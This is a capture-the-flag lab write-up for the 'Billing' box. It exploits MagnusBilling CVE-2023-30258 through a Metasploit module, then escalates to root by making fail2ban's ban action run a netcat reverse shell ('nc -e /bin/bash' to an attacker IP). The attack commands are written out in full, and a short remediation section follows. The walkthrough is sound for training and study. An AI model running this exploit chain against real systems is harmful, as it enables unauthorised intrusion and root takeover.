namura's notes

Billing

4 min read

Target IP: billing.thm (Requires /etc/hosts entry) Difficulty: Medium (Easy if using Metasploit) Objective: User (user.txt) & Root (root.txt) Flags

1. Executive Summary

“Billing” hosts a vulnerable version of MagnusBilling, an open-source VoIP billing solution. We gain initial access by exploiting a critical Unauthenticated Remote Code Execution (RCE) vulnerability (CVE-2023-30258) via Metasploit. Post-exploitation enumeration reveals the user has sudo privileges for fail2ban-client. We exploit this by reconfiguring the running Fail2Ban daemon to execute a reverse shell whenever it bans an IP, granting us root access.

Key TTPs (MITRE ATT&CK):

  • T1190 (Exploit Public-Facing App): Unauthenticated RCE in MagnusBilling.
  • T1059 (Command and Scripting Interpreter): Stabilizing shells with Python.
  • T1548 (Abuse Elevation Control Mechanism): Abusing sudo rights on fail2ban-client.

2. Operational Setup

Host Configuration

# Verify connection
echo "10.10.x.x billing.thm" | sudo tee -a /etc/hosts

Workspace (Tmux)

  • Pane 1: Metasploit Console (msfconsole).
  • Pane 2: Root Listener (nc -lvnp 4444).
  • Pane 3: Notes.

3. Enumeration

A. Network Scanning

We start with Nmap (“Suru ma ta nmap hannai paryo”).

nmap -sC -sV -oA nmap/billing billing.thm
  • 80/tcp: Apache Web Server. Redirects to /mbilling.
  • 22/tcp: SSH.

B. Web Enumeration

Visiting http://billing.thm redirects to http://billing.thm/mbilling/. The login page identifies the software as MagnusBilling. A quick search reveals it is highly susceptible to CVE-2023-30258.

4. Initial Access: MagnusBilling RCE

You successfully identified the vulnerability and used Metasploit. Here is the documented flow of what you did, with the necessary stabilization steps added.

A. Metasploit Execution

msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

Configuration:

set RHOSTS billing.thm
set LHOST tun0        # (Your VPN IP, e.g., 10.17.19.181)
set LPORT 6969
set TARGETURI /mbilling
exploit

Result: Meterpreter session opens. [*] Meterpreter session 1 opened...

B. Stabilization (Crucial Step)

Meterpreter is great, but standard system shells are better for running sudo commands.

# Inside Meterpreter
shell
 
# Inside the broken shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# (Ctrl+Z) to background
stty raw -echo; fg
export TERM=xterm

User Flag: Found at /home/ubuntu/user.txt (or similar depending on the user).

5. Privilege Escalation: Fail2Ban

Enumeration

We check our privileges:

sudo -l

Output:

User www-data may run the following commands on billing:
    (root) NOPASSWD: /usr/bin/fail2ban-client

The Vulnerability logic

Fail2Ban runs as a daemon (background service) with Root privileges to modify iptables rules. The fail2ban-client allows us to communicate with this root daemon. Since we can run the client as root, we can tell the daemon to change its configuration in real-time.

We will trick Fail2Ban into running a reverse shell instead of “banning” an IP.

Exploitation Steps

1. Setup a Listener: Open a new terminal (Pane 2) on your attack machine.

nc -lvnp 4444

2. Identify a Jail: We need to know which “jails” (monitoring rules) are active so we can poison one.

sudo fail2ban-client status
  • Likely Output: ssh or magnus. Let’s assume ssh exists.

3. Poison the Ban Action: We execute the following commands on the victim machine. We are telling Fail2Ban: “When you ban an IP in the SSH jail, instead of blocking it, please run netcat.”

# Syntax: sudo fail2ban-client set <JAIL_NAME> actionban <COMMAND>
 
sudo fail2ban-client set ssh actionban "nc -e /bin/bash 10.10.x.x 4444"

(Replace 10.10.x.x with your attacker IP).

4. Trigger the Ban: Now we manually force Fail2Ban to “ban” a fake IP. This triggers our malicious action.

sudo fail2ban-client set ssh banip 1.1.1.1

5. Catch the Shell: Check your listener in Pane 2.

# Connection received from billing.thm...
id
# uid=0(root) gid=0(root) groups=0(root)

Root Flag: /root/root.txt

6. Remediation (Blue Team)

  1. Patch MagnusBilling: Upgrade to the latest version. CVE-2023-30258 affects versions prior to 7.0.
  2. Sudo Restrictions:
  • The www-data user (web server) should never have passwordless sudo access to fail2ban-client.
  • If management is needed, use a specific script with hardcoded arguments rather than allowing the full binary.
  1. Fail2Ban Configuration: Ensure the Fail2Ban socket permissions are restricted so only root can write to them, though the primary issue here is the sudo misconfiguration.

Graph View

Backlinks